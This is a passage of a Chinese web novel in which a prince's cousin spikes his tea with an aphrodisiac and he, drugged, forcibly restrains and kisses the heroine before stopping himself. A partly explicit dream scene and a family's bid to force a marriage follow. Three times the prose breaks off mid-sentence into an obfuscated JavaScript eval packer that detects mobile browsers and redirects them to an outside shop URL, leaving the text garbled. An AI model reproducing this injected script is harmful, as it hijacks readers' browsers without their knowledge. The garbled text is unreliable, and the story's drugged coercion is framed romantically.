但是为了打造这个小玩意,她耗费了诸多钱财与心血。 她画不出香囊内部结构的具体图纸,只能尽可能详细口述其原理,软磨硬泡又加了大价钱,才让工匠改了几版,做出了令她满意的效果。 她当然不希望自己的心意就这般被拿去借花献佛,慷他人之慨。 穆衍薄唇轻启:“这是你江姐姐送我的贵重谢礼,仅此一件,我实在难以割爱。” 他神色淡淡,收起香囊笼回袖中:“年年若是喜欢这些金玉之器,去库房里另外挑件喜欢的吧。” …… 江沁月本以为纪思年在王府呆个三五日便会归家去,然而她的希望落空了。 纪思年一点要走的迹象都没有。 本来想着眼不见心不烦,可这王府眼下哪还能得片刻安宁? 江沁月连房门也不想踏出,便从藏书阁那抱来了几本书。 本想窝在房间里看书打发时间,结果盯着那白纸黑墨的文言典籍,愣是一个字也读不进去。 她重重地合上书本,用力深吸一口气。 不在沉默中爆发,就在沉默中……出走。 惹不起她还躲不起吗?躲房间里不行,那她躲出去总行了吧?! 翌日清晨,江沁月成了王府起得最早的一个。 云霞听见了她这边的动静,迷蒙着双眼过来问她怎么起这么早. “阿霞,你不必管我,快去接着睡觉吧,得空跟殿下那边说一声,就说我这几日去玉方那里帮忙,一日三餐都无需备我的份。” 江沁月说完也不等云霞反应,离开王府直奔青玉方的住处去了。 青玉方如今在楚阳城中最大的医馆中给人看诊,能迎得名满天下的“四海游医”坐镇,医馆掌柜的简直笑开了花,不仅单独给她辟了间诊室,还包吃包住另付酬金,望她能指点馆中弟子一二。 听闻神医有友人要来叨扰,掌柜的忙不迭吩咐人这几日都将饭菜多备些。 江沁月说是来帮忙,其实最忙的那段时间已经过了,早上她还能帮着抄抄药方捡捡药,待到下午酷暑难耐,便也基本没人来看病了。 “这大热天的你还往我这跑,仔细别中暑了,”青玉方写完医案后将纸笔搁到一旁,“殿下怎么都不安排辆马车给你用一下?” “快别提了,玉方,这几日可把我郁闷坏了,再不来你这边散散心,恐怕我就要积郁成疾了。” “发生何事了?”青玉方的脸上浮现出几分担忧。 见了好姐妹,憋闷好几天的江沁月终于能打开话匣子一吐为快。 “……还有前两日,她要和殿下去逛街,我都说了我不想去,还非得拉上我一起。” “我没来得及吃早饭,就在路边小摊上买了碗藕粉莲子羹,结果她也吵着要吃,但那是最后一份了。” “你说若真是个八九岁不明事理的小妹妹,那我便也让给她了,可是她都二十了!”江沁月义愤填膺。 “真是奇了,再怎么说也是个世家小姐,竟被教成了这副样子?”青玉方听得直皱眉,“沁月,她会不会是在扮猪吃老虎?” “我也怀疑过,但我没那闲工夫陪她闹。”江沁月无语道。 “那最后你把藕粉莲子羹让给她了吗?” “怎么可能?!我直接把那碗倒了,既然闹个没完,那都别吃就好了!”江沁月哼道,“还有还有……” “到底是殿下的表妹,你也不好把她怎么样,”听完她一番控诉,青玉方叹了口气,“这些天你就在我这边吧,和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603562|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住一起都行,等那表妹走了你再回去吧。” “玉方你真好,住就不麻烦你啦,我白天在你这边避其锋芒就好。”江沁月亲热地挽上了她的手臂。 “不过若是殿下要带她回京……那你还要跟着一起回去吗?” 青玉方眉心微蹙,似是想替她筹谋:“若真如此,你便别再去京城了,跟着我一起走吧。你愿意学的话,我愿将毕生医术倾囊相授。” 不愧是她的好姐妹,江沁月简直感动得快要热泪盈眶。 “若真如此,到时候再说吧。”她还是含糊其辞道。 毕竟穆衍要真带上纪思年一起回京的话,那她离回家应该也不远了。 她只需要见证这一切,亲眼确保任务完成,便能万事大吉。 江沁月不禁觉得有些好笑,她自以为李娴是最佳选择,结果一通瞎忙活惹恼了穆衍不说,弄到最后他二人算是彻底没戏了。 然而若是二人彼此钟情,又何须外人来生拉硬拽,牛不喝水强按头呢? 纪思年那边便不提了,她若对穆衍只是单纯的兄妹之情,她江沁月从此便不姓江。 穆衍这边是何想法她倒是不能确定,但瞧他对他的好表妹纵容至此,想必也是有几分情意在…… 江沁月不免心生疑惑,她在这个任务中起到什么作用呢? 还是说,漆桐那滥用职权的神君上官只是想发泄不满,把她丢过来体验一下古代生活的不容易? 罢了,反正目前看来,也不必她再多做什么,静观其变就好。 接下来的几日,江沁月便早出晚归地往医馆跑,穆衍应该是从云霞那听说了,派了辆马车来接送她。 她这几日也没再见过穆衍,反正他的黏牙糖表妹肯定时时刻刻跟着他,不如不见的好。 …… “年年,再过几日我们便要回京了,让舅舅这几日也来接你回家去吧。”这日穆衍终于主动提起。 纪思年怔了一下,怯声道:“衍哥哥……能不能带我一起走?” “……为何?” “爹希望衍哥哥能替我做媒,嫁一处京城的好人家,这样……这样也能帮衬家里一些。” “那些都是吃人不吐骨头的主儿,纪家在京城并无势力,你无依无靠,不怕被生吞活剥了去?”穆衍面上神色是难得的严肃。 纪思年笑了笑:“衍哥哥不也在京城吗?总能护着我,为我撑腰几分。” “别说傻话,京城中最不缺的就是身份高贵有权有势的人,我如何护你?” 穆衍语重心长道:“年年,京城不适合你,你是舅舅最小的女儿,他不会希望你去过那样的日子的。” “让舅舅明日来接你吧,我会亲自与他说,请他在楚阳本地为你寻一户好人家。” 听他的语气不容拒绝,纪思年亮晶晶的杏眼微不可察地暗了暗。 她低眸默了好一阵,终于抿抿唇鼓起勇气道:“衍哥哥,既然明日便要走,那今晚就由我做东,请衍哥哥吃饭吧。” “也算是我为衍哥哥饯行,下一次见面……也不知道是什么时候了。” “好,去哪家吃?”穆衍没有拒绝。 “天气炎热,我们就别往外跑了,晚些我差人去如意楼买回来,”纪思年笑了笑,“如意楼是前两年才开的,生意很是火爆,衍哥哥就当尝尝鲜。” 午膳后,纪思年说自己困乏,要回了房间小憩,王府中终于难得是静悄悄一片。 她仔细地关好房门,却并未歇下,叫来了自己的贴身丫鬟翠兰低声交代了几句。 “……你让去如意楼的人别去太早,就说我中午吃多了还不饿,大约戌时买回来就好。” “是,小姐,奴婢都记下了。” 纪思年攥紧了手中的小纸包,眼底是不成功便成仁的决绝。 今夜,是她最后的机会。 51. 情热至深难自抑 暮色四合之时,江沁月挥别了青玉方,登上回王府的马车。 此刻王府中,纪思年才刚刚把美酒佳肴一一摆好,拉着穆衍落座。 “衍哥哥快瞧瞧,这些菜肴可还合胃口?”纪思年笑着问他,眼中满是期冀。 “都挺不错的,年年有心了。”穆衍也笑了笑。 席间纪思年依旧话密得很,像是叽叽喳喳的小鸟。 “这酒也是如意楼的招牌,衍哥哥快尝尝。” 她斟满两杯,将其中一杯推给穆衍:“多谢衍哥哥这几日的照拂,思年敬衍哥哥一杯。” 杯中摇晃的清液散发出醇厚的酒香,穆衍垂眸看了一眼,朝纪思年露出一个歉疚的笑容: “年年,我现在的身体情况,已经不能再饮酒了。” 纪思年固执地将酒杯推给他:“衍哥哥……就饮一小杯都不行吗?” “抱歉。” 纪思年的脸上满是失落,她不甘心地退一步道:“那请衍哥哥以茶代酒,这样总可以了吧?” 话都说到这个份上,穆衍也不好再拒绝,他拿起一边的茶壶给自己倒了一杯。 “好浓。”穆衍夏日里喜饮淡茶,看着壶中深绿的茶水倾出,他不由得皱了皱眉。 纪思年连忙举起酒杯:“衍哥哥,思年敬你一杯。” 说罢她将杯中酒液一饮而尽,还将空杯倒了倒。 穆衍也没说什么,将一大杯浓茶也一口闷了。 纪思年忽然笑了笑,有几分意味不明。 “衍哥哥,我知道你现在已经是高高在上的襄王殿下,知道我们尊卑有别,我应该叫你‘殿下’。每一句‘衍哥哥’,都是逾矩失礼的。”她轻声道。 “……别这样说,你我总角之交,你也本就是我表妹,我亦不在乎这些虚礼。” 穆衍不知她为何说起这些,大抵是一杯酒喝得太猛上了头。 别说酒,一杯浓茶下肚后他亦颇感不适,腹中隐隐有些灼烧感,头脑也是昏涨得很。 “衍哥哥,你当时走得好突然,我气你怨你不辞而别,却又常常想起你……” “现在你终于回来了,原来这么多年过去,衍哥哥还是我心中那个,永远崇拜、永远喜欢、永远愿意追随的世子表哥……” 穆衍已经听不进去她在说些什么,只觉得腹中的灼热渐渐蔓延至全身,带来从皮肉筋骨深处散发的痒意,令他坐立难安,又令他疯狂地想渴求些什么。 难耐的躁热已经快要将他的理智焚烧殆尽,连呼吸也变得粗重,屋里的烛火似乎将一切映出了迷离重影, 一只柔弱无骨的纤纤玉手抚上了他的肩膀,滑过他的胸口渐渐向下,直到勾住他的腰带,要解开那枚精致的玉带钩。 “衍哥哥,木已成舟,待会儿还有贵客见证,你是抵赖不得了。” 他的意识骤然回笼,对上了那双妩媚动人,似乎饱含春水的杏眼。 本与他对坐的纪思年不知何时坐到了他身侧,此刻她已是衣衫半褪,勉强挂在身上的抹胸也是系带松散,春光乍泄,饱满的胸脯紧紧贴着他的手臂,一手还在他的腰带处挑逗。 酒……茶……转念间穆衍便想通了一切。 他的好表妹,在茶里下了合欢药。 真是好生精彩的打算。 “滚出去!!” 穆衍一把挥开纪思年,站起身来顿时感觉天旋地转,只能扶靠在墙边勉力支撑住身体。 纪思年被他巨大的力道推倒在地,她几步爬到穆衍身边,又要伸手去抱他的腿。 “滚!”穆衍踉跄着退开几步,“云霏!云霞!把她给我拖出去!” 兄妹二人闻声而来,都被眼前这场景骇了一跳,还是云霞先反应过来,将纪思年一把捞起扛在了肩上。 “云霞,让人把她收拾好,直接送回纪家去。”穆衍强作镇定道。 “是。” “你愣着干什么?快去给我找水来!”见云霏还在怔神中,穆衍斥道。 “哦!”云霏回过神来,连忙上前倒了杯茶,递到了穆衍手边。 “……冷水,泡澡。”穆衍现在的火气比任何时候都大,没忍住将茶杯掷到了他头上,还怒骂一句蠢货。 江沁月刚走进王府便听见了穆衍怒不可遏的一声“滚”,一踏进院中入目更是一片鸡飞狗跳。 云霞扛着哭喊挣扎的纪思年狂奔,云霏捂着脑袋带人行色匆匆向另一边而去。 出什么事了??? 她赶紧冲进正厅,只见穆衍衣衫不整地喘着粗气,那双一向平静无波的墨黑眼眸此时染上了沉重欲/色。 再看向那满桌杯盘狼藉,倾洒的酒液,弥漫的酒香…… 江沁月一下子明白过来,穆衍这是中春/药了。 这药是谁下的,那也是不言而喻。 她不由得暗自心惊,这小作坊下料就是猛,竟要这般急不可耐地霸王硬上弓。 事态显然不是她能控制得了的,江沁月深吸一口气,转身就走打算出去叫人。 “沁月!”穆衍出声叫住了她,他不知多少次唤过她的名,此刻尾音却带上了几分绮靡的颤抖。 一开始见她进来时,穆衍不自在地偏开了头。 他不想让她看见自己如此失态,情难自已的难堪模样。 可是几日未见,她一见到自己便瞪大了双眼,像受惊的小鹿那样转身逃窜。 她是不是会从此厌弃自己,觉得他脏污下流、禽兽不如? 他现在的样子,到底有多不堪? 还好,听他唤她,她便停住了脚步,没有逃之夭夭。 那种头昏眼花的感觉终于稍稍缓解,但对某种欲望的渴求却像要渐渐将他的理智吞噬,心底似有恶鬼在无声又疯狂地叫嚣着,让他挽留住眼前人,将她占为己有。 “沁月……呃……不要走……陪陪我。”他极力压抑着低喘,从唇齿间挤出支离破碎的几个字。 江沁月停步回望,见他双手撑在桌子上,指尖用力抠紧桌布,这般尽力忍耐的神态,竟无端让她觉得有些可怜。 真是被他的好表妹害惨了。 “殿下……你现在还好吗?”她小心翼翼地关切道。 穆衍闭了闭眼,没有说话。 江沁月想着为他做些什么,瞧见桌上有一壶冷茶,她忙倒了一杯直接送到他唇边。 “殿下,先喝些茶压压火吧。” 穆衍眼眸低垂,看着她葱白的手指捧着杯中满盛令他如此难堪的罪魁祸首。 他的视线寸寸上移,舐过清纤的手腕没入轻薄的宽袖纱衣,最后落在了持杯之人的脸上。撞进了她清亮澄澈的双眼。 她知道这杯中装的是什么吗? 不如就装作无知无觉地饮下这杯茶,让情/欲彻底将自己吞噬,让她自己承受亲手送上“毒药”的后果。 不,不……或许…… 江沁月端着茶杯的手都僵了,这一直举着也不是,放下也不是。 偏偏这时她又离他极近,正对上他那双水光潋滟又极尽情/欲的眼眸。 “我不渴……你喝吧。”他哑声道。 拙劣的哄骗令他自己都发笑,还不如直接将这茶水硬灌进她的喉咙,让她与自己一起沉沦在欲海中,放纵疯狂,纠缠不休。 “……啊?”江沁月愣了一下。 不渴?这已经是欲/火焚身烧糊涂了吧? 她正望着杯中的茶水犹豫要不要喝,穆衍却忽然伸手握住了她的腕骨。 “嘶!”他的力道很大,痛得江沁月倒吸一口凉气。 她吃痛松开了手指,茶杯落在地上摔了个四分五裂,飞溅的茶水浸湿了二人的衣摆。 江沁月心中警铃大作,拼命想要抽回手往外跑,结果不但没挣开,反而被穆衍用力带回身前。 “殿下!!” 然而穆衍再顾不得她的惊呼,他另一手顺势环上她的腰,二人的上半身就这样被迫紧密贴合。 江沁月能感受到他身体的滚烫炙热,他亦贪图从她温软的身上汲取一丝清凉。 穆衍将她紧紧拥在怀中,薄纱外衫已然仿若无物,他却犹嫌不足,进而埋首于她颈项间深深嗅闻。 她素日里不爱用香,身上却有一股类似花果香气的淡淡甜香,夹杂着些许从医馆带来的清苦药香,似乎真能稍微抚慰他,却也让他更为着迷。 江沁月的头脑已是一片空白,只后悔没早点跑,现在是羊入虎口在劫难逃了。 她止不住地微微颤抖,穆衍也感受到了,却仿佛毫无察觉地得寸进尺,张口轻轻吮咬了一下她细嫩的皮肤。 !!! 江沁月不知道穆衍的意识还有几分清醒,但他不会以为自己是在跟他玩欲擒故纵吧? 她浑身瑟缩了一下,随即剧烈地扭动挣扎起来。 “殿下!穆衍!你清醒一点!!” 怀中人的挣扎带来衣料与皮肉的摩擦,宛如煽风点火一般,灼热滚烫的皮肤本就敏感,这下无名火更是越烧越旺,隐隐有燎原之势。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605264|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 穆衍嘴角溢出一丝呻吟:“呃……你不要动……越动……越难受……” 那你倒是放手啊!小脑大脑搁这打架吗?! 江沁月忍无可忍,咬咬牙提膝袭向了穆衍的裆部。 他终于吃痛松开了手,江沁月二话不说拔腿就跑,然而还没等她踏出门,便被身后之人揪住衣领一把拉了回来。 “不要走……”穆衍将门扉重重合上,低头看着身前无路可逃的女孩,眸色幽微却又炽热。 江沁月后背紧贴着门板,双手死死抵住穆衍的胸膛,希望能在这狭小逼仄的空隙里寻得一丝喘息。 “殿下何必强人所难?既是纪思年给你下的药,那殿下去找她纾解,不是正好成人之美吗?” “你提她做什么?”穆衍强忍着喘息道,“她已经走了,沁月,别提她。” 说罢他捉住江沁月抵在自己胸口的那双手腕,一点一点压了下去,两人之间又一次变得亲密无间。 见她低头不愿看向自己,穆衍腾出一只手捏住她的下巴,强迫她抬头对上自己的双眼。 指腹摩挲过她柔软的嘴唇,一种不明意味的冲动自心底涌起,穆衍倾身吻住了她的唇。 他本想浅尝辄止,一触即离,可当真的品尝到她的滋味之后,他又不知餍足地想要更多。 想要将她吞吃入腹,想要让她全身都染上自己的气息,想要让她完完全全地属于自己。 江沁月脑袋里紧绷的那根弦猝然断裂。 不……不能这样! 然而她根本无力反抗,只能被迫迎合着与对方的唇齿交缠。 她尝到了穆衍唇舌间残留的清苦茶香,也感觉到呼吸的空气被掠夺,意识似乎已经有些朦胧,腿脚发软得几乎有些站不住。 江沁月倚靠着门板渐渐向下滑去,穆衍放任自己与她一起跌坐在地。 彼此的衣衫凌乱纠缠,江沁月身下是冰冷的玉砖,身前是穆衍炙热的身躯欺压而上, “沁月……”穆衍轻声呢喃着她的名字,指尖滑过她的脖颈,挑开本就宽松的轻纱薄衫,将掌心贴上了她的肩头。 唇齿交缠,肌肤相亲,可是他依旧无法真正得到满足。 “沁月,你给我吧……你要什么,我都能给你。” 身份地位,金银财富,奇珍异宝…… 本就打算回京后向她表明心意,但他总会等到与她彼此交融这一天。 那么是今天又何妨? 穆衍轻叹一声,手指探向了她腰间的系带。 江沁月的呼吸一滞。 眼前人浑身都已被浓重的情/欲裹挟,她觉得不管自己如何挣扎,都只会是徒劳。 如果就这样委身于他…… 江沁月望向那张比平常更加妖冶艳丽的温和容颜,觉得自己大概也算不上吃亏。 感受到她一直紧绷的身体忽然放松下来,穆衍也倏然停止了动作。 “去……”终于得到了片刻喘息的江沁月本想说“去床上”,却见他猛地从自己身上起开。 穆衍惊惧不已。 差一点,只差一点他就要行差踏错,再无回转余地。 她忽然放弃抵抗时,穆衍才骤然清醒。 如果他真的强要了她,她从此一定会恨毒了他。 情爱之事讲究你情我愿,明明他还在父母陵前立誓,说自己会等到她满心满眼都是他时娶她进王府,今日却…… 哪怕他们彼此两情相悦,可若在这种时候行苟且之事,日后她也必不再会相信他的情意。 那杯掺了药的茶就如一面照妖镜,照清了他心底暗藏的龃龉,让他看见了皮囊之下潜伏的恶鬼。 “哐当”一声,紧闭的门扉被人从外面踢开,云霏看见门边二人之间一片旖旎,不由得倒吸一口凉气。 “殿下!属下什么也没看见!”云霏连忙带上门,将身后抬着桶的下人们往外赶,“快走快走,用不上了。” “进来!把东西放下就出去。”穆衍一边喝道,一边走到江沁月前面挡住了她。 云霏指挥着人将浴桶抬了进来后就退了出去,全程目不斜视。 穆衍和衣直接浸入了桶中,云霏在水里加了冰,刺骨的冷意终于压制住了那股难耐的灼意。 “沁月。”他的意识已然清明,想将江沁月唤来。 他支在浴桶边,完全湿透的夏衣几乎是半透明地贴在身上,眉眼似乎被水色染得更为深重,看上去像一只艳丽的水鬼。 江沁月落荒而逃。 52. [锁] [此章节已锁] 回到房间关好了门,江沁月的心脏依旧怦怦狂跳,久久难以平静。 越是控制自己不要去想,方才的一切便越是清晰地在她脑海中重现。 穆衍那张沾染情欲的脸似乎又浮现在眼前,压抑不住的喘息呻/吟犹在耳边。 连彼此相贴的灼热体温好像都还未散去。 妖孽,实在是妖孽! 明明是他自己中了春/药意乱情迷,却扰得她心中一池春水荡漾不已。 这一晚,江沁月睡得很不安稳。 好像又回到了刚才那扇门扉前,她与他抵死缠绵,几欲窒息。 “去……去床上。”唇齿分离的片刻,她艰涩地呢喃道。 “嗯……” 眼前人嗓音低哑地应了一声,半拥半抱地带着她从地上起身,江沁月的双手也顺势环上了他的脖颈。 因着呼吸不畅和那药的缘故,二人的脚步都有些虚浮不稳,跌跌撞撞地倒向了榻上。 “唔!”江沁月被穆衍沉重的身躯压得闷哼一声。 穆衍稍稍支起身子,床前垂落的纱幔恰好盖在了他发顶,掩住了他上半张脸,似盖头,又似头纱。 江沁月伸手要去扯那纱幔,想将它拽得更下来一些,却被他扼住了手腕。 穆衍偏头轻咬了她一下,纱幔滑落,在二人身后合上。 “看着我。” 他牵着她的手摸上自己的脸,抚过他微微发红的眼尾,又转而与自己十指相扣。 江沁月放任他的亲昵,抑或是她也乐在其中。 穆衍听她喉间溢出一丝不知是痛楚还是舒爽的低吟,不由得僵了身子。 他伸手抚平她微蹙的眉心:“难受吗?” 江沁月眼角噙着泪花,抿住下唇摇了摇头。 些许不适湮没在从未体验过的极致快感中,她迫切地想要更多。 与她缠绵之人亦是如此。 一切在乍然间变得很疯狂。 衣衫和锦被凌乱堆叠,江沁月不敢低头去看身下是何等盛况,失神地望着上方那张同样迷离的脸庞。 在即将共登极乐之时,她看见他嘴唇微微启合:“我好看吗?” “好、好看。” 这是个毫无疑问的答案,江沁月胡乱点点头,只希望能快点与他行至最后。 片刻的恍惚后,下一瞬她却见穆衍的眼眶中涌出两行血泪,刺目的猩红顺着他的脸颊蜿蜒而下。 江沁月如坠冰窟。 温存的气息霎时间荡然无存,二人之间却依旧维持着暧昧亲密的姿势,未曾分离。 她回过神来,发现自己的手上不知何时多了一把匕首,匕首的刀尖狠狠没入了他的心口。 鲜血濡湿了她握住匕首的手,汇成一线如毒蛇一般攀上她的手腕。 床帏内的方寸之间,淡淡的血腥味在混合的情香里弥漫开来。 江沁月惊惶地松开手,撑起身子要往后退,一只手却沿着她的脊骨向上,扼住了她的后脖颈。 穆衍嘴唇翕动,又有鲜血从他口中涌出,加之脸颊上那两行血泪,竟有一种惊心动魄的诡异美感。 他的声音含混不清,但是江沁月读懂了他的口型。 “我、恨、你。” ?! 江沁月猝然惊醒,梦里的一切仍历历在目,让她心有余悸。 春梦变噩梦,恐怖如斯。 愣神了好一会儿,江沁月才缓过劲来。 她猛捶了脑袋好几下,自己到底在想些什么? 难道是她在遗憾昨天没能和穆衍滚上/床,才会日有所思夜有所梦吗? 这噩梦一定是老天对她天雷滚滚的警告。 寝衣被汗湿之后紧贴在身上黏腻不适,江沁月起身要去拿昨日脱下的衣裙。 然而当她摸上那件薄纱外衫后,伸出的手不由得顿了一下。 她又对着铜镜照了照,瞧见了颈侧那枚显眼的咬痕。 江沁月深吸一口气,忙去翻出了一件别的外衫。 “江姑娘今日起得这般早?”云霞进来时见她已换好了衣服,看起来似乎颇为惊讶。 “啊……对!不对,这也不早了吧……”江沁月瞧着外面天色比她前几日起时要晚上不少,心下疑惑还有些尴尬,不知云霞是否知晓了昨晚的荒唐事。 “纪家小姐走了,我便以为江姑娘要多睡会儿。” 云霞眉间笼罩着几分担忧:“江姑娘去看看殿下吧,殿下他……昨晚发病了。” “什么?!他现在怎么样?” 云霞道:“殿下及时服了药,眼下已无大碍,兄长也已将青神医请来了。” “玉方她怎么说?”听闻青玉方来了,江沁月心也定了几分。 云霞摇摇头:“我也讲不明白,江姑娘亲自去看看吧。” 江沁月怀着复杂的心情踏进了穆衍房中。 见他面色如常,神情无异,她便移开了眼看向青玉方。 “玉方,殿下他情况如何?” “殿下服用了烈药,外热未能疏解又泡了冷水,导致寒气入体难以散出,再加之心气躁郁便发了病,好在及时用了救急的药。” 江沁月的脸一下子热了起来,不会连青玉方也知道昨晚的事了吧?总不能怪她不帮他“纾解”…… 这下可好,穆衍泡一晚上冷水澡病倒了,她想入非非做了一晚上春梦。 江沁月暗暗发誓,一定要将这个梦深埋心底。 青玉方接着道:“殿下若不能时刻保证静心养病,恐怕只会发作得越来越频繁,还望殿下早日返京,让太医将天山雪芝炮制入药,以绝后顾之忧。” “多谢神医,我们本也打算再过几日就启程。”穆衍道。 青玉方点点头:“我也打算再过几日便离开楚阳,向义水那边去。” “义水?去那边的路可不算好走,”穆衍挑眉道,“青神医不如与我们同行,我们顺路送你过去。” “怎敢劳烦殿下?回京的话,去义水也不太顺路。”青玉方婉言谢绝。 “走义水那边虽然绕行一些,但至多也就慢上两日,神医于本王有救命之恩,送君一程何足挂齿。” 话到了这个份上,青玉方也不好再拒绝,见江沁月也期待地看着她,便答应了下来。 穆衍让云霏云霞送青玉方回医馆,这下房间里又只剩下了他与江沁月两人。 一时间彼此相顾无言。 江沁月装作若无其事地左看右看,就是不往穆衍身上看。 但她知道,穆衍的目光一直停留在她身上。 今日她换上了一身青蓝色水绸外衫,自是不像轻纱那般透肉,还把半高的领子竖起,盘扣也一丝不苟地扣了个严严实实。 穆衍看她这副老鼠见了猫似的样子,心底是无限的愧疚与怜惜。 她眼下看上去还有些淡淡的乌青,想必是被吓得一晚上没睡好觉。 他要如何才能弥补? “抱歉,沁月,”穆衍轻声道,“昨夜我神志不清,定是把你吓坏了,我……” “无妨无妨,”江沁月连忙摆摆手,“殿下克己复礼,也没真的对我怎么样,此事便就此揭过吧。” 穆衍轻叹一声:“你放心,此事除你我之外无第三人知晓,绝不会外传。” “那个,云霏他们知道吗?” 穆衍的脸似乎抽了一下:“……昨晚我已经警告过他了,这种事他还是有分寸的,云霞她不知道。” 正说着话,便瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630232|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见云霏去而复返,急急忙忙跑了进来。 “殿下,我们刚走到大门口,便碰见纪大人带着思年小姐来了。” 穆衍的脸上浮现出几分不耐:“不见,打发他们回去吧。” “我说了殿下不见客,孙姑姑也一直劝着呢,但他们跪在门口硬是不肯走,说一定要见到殿下。”云霏叫苦不迭。 可想而知,外面又是如何的鸡飞狗跳。 穆衍揉了揉太阳穴,无奈道:“把他们带过来。” 云霏得令便要出去请人,江沁月也打算回自己房间去,正要走却被穆衍一把拽住。 “你无需回避,”穆衍拉过她坐在了床边,“一起看看吧,他们又想做什么。” 不一会儿,云霏就带着那父女二人过来了。 大热天里,纪思年却严严实实地裹在了披风里,直到走进来才摘下了兜帽。 舅舅拉着纪思年一同跪倒在地:“昨夜惊闻小女以下犯上,惹得殿下大怒,还染了风寒。臣惶恐不安,今日特带她来向殿下请罪。” “是臣教女无方,要打要罚,任凭殿下处置。” 穆衍动也不动,淡淡地瞥了地上父女二人一眼:“本王无意追究昨日之事,舅舅好好管束表妹,勿要让她走歪了路就好。” “殿下宽宏大量,臣感激不尽!只是求殿下为小女清誉着想……” 穆衍直接打断了他的话:“表妹与本王之间清清白白,谈何影响清誉?还是说,舅舅想把表妹的顽劣行径拿出去大肆宣扬?” “殿下!”纪思年抬头望向他,那双本来水灵的杏眼哭得又红又肿。 舅舅忙拉住她让她别多话,接着道:“殿下误会了,臣是想着既然昨晚……殿下与纪家也是一家人,彼此也算是知根知底。” “臣斗胆请殿下娶了年年,哪怕是做个侧妃也好,年年能跟在殿下身侧的话,臣也更能安心。” 江沁月饶有兴致地看着这父女二人,这没发生什么也上王府来硬碰瓷,司马昭之心路人皆知。 大抵本来是想生米煮成熟饭,将纪思年塞进王府,谁知竟然没成功。 下药之事,说不定也有这老东西在暗中帮衬。 穆衍虽说位高权不重,但毕竟也是关系较为亲近的皇族,如今长住京城不说,与太子也是关系匪浅。 对纪家而言,能接着攀上襄王殿下的姻亲自是求之不得。 穆衍终于低头看向他们,却半晌没说话,眼底的情绪意味不明。 舅舅心里没底,只能硬着头皮接着道:“臣是看着殿下长大的,殿下又是姐姐唯一的血脉,眼下年岁也不小了,又与小女青梅竹马,这亲上加亲也算是一桩美谈……” “一家人?”穆衍嗤笑一声,“纪家这些年来与母妃来往的书信有几封?母妃病重之时可曾来人探望过?如今落叶归根,你们又去祭拜过几次?舅舅与母妃当真是姐弟情深、血浓于水。” “殿下息怒,臣到底也是殿下的长辈,牵挂关心殿下的终身大事,这才多嘴几句,只是……” 见他仍不死心,穆衍冷声道:“舅舅既要与本王论长幼有序,那是否需要本王告诉舅舅何为尊卑有别?” “本王的婚事,无论如何也轮不到舅舅来置喙。” “自幼便得见父王与母妃两心相悦、琴瑟和鸣,所以本王一直相信缘分天定,”穆衍说着看向纪思年,“我待表妹并无半分男女之情,舅舅爱女心切,可也别白费了心思。” 这话说得已是相当体面,穆衍言尽于此,只挥挥手示意云霏送客。 纪思年离开时一步三回头,眼中似乎还噙着泪,又透出几分不甘。 儿时的不告而别已成执念,记忆中的竹马最终变成枷锁,把她熬成了一片痴心的可怜人。 53. 夜色如水归途难 明日便要启程回京了。 穆衍已经安排了人手将清点好的藏书装箱上车,先他们一步走官道去京城。 他们则需要绕行一截路,送青玉方到义水后再回京。 夏夜的风总带着几分温热,江沁月凭窗而立,一眼便望见穆衍在院中晾头发的身影。 这几天他们都默契地没再提过那晚的事,彼此间风平浪静,一切如常。 在楚阳已待了月余,江沁月其实还挺喜欢这个地方的,正如穆衍一开始介绍的那样,好山好水好风光,美食美景美不胜收。 以后大概不会有机会再来了,在这里的最后一个晚上,江沁月心中难免有些惆怅,便也走到院子里,想要散散心。 她的脚步放得很轻,直到站在他身后,穆衍才惊觉来人。 “坐吧,”穆衍笑着指了指身边的空椅,“是睡不着吗?” 他随意披了一件宽松的白袍,还带着些湿气的乌黑长发披散腰际,之前被削断的碎发长长了些,也柔顺地垂落在额前。 离得近些,还能闻到他沐浴后身上散发的淡淡清香。 看见他这副格外柔和的模样,江沁月不由得愣了一下。 月下看美人,真是别有一番风味。 纵然那晚的梦结局骇人,但自那之后,她看见穆衍便总觉得他眉眼间都带上了三分情。 实在是乱她心神。 “还早呢,没打算睡,”她移开眼去看月亮,“就是有点舍不得走了,楚阳真是个好地方,怪不得殿下不想呆在京城。” 穆衍也望向满天星河月色:“会有机会再回来的。” 说着他便拿起一边案几上的玉梳,将干了大半的头发拢到身前来仔细梳理。 江沁月看着他缎子似的如瀑青丝,真是羡慕得不得了。 穆衍见她一直盯着自己,忽然想起什么似的,把手上的玉梳递给了她。 “沁月,你来帮我吧。” “啊?”江沁月接过了玉梳,却有些无所适从。 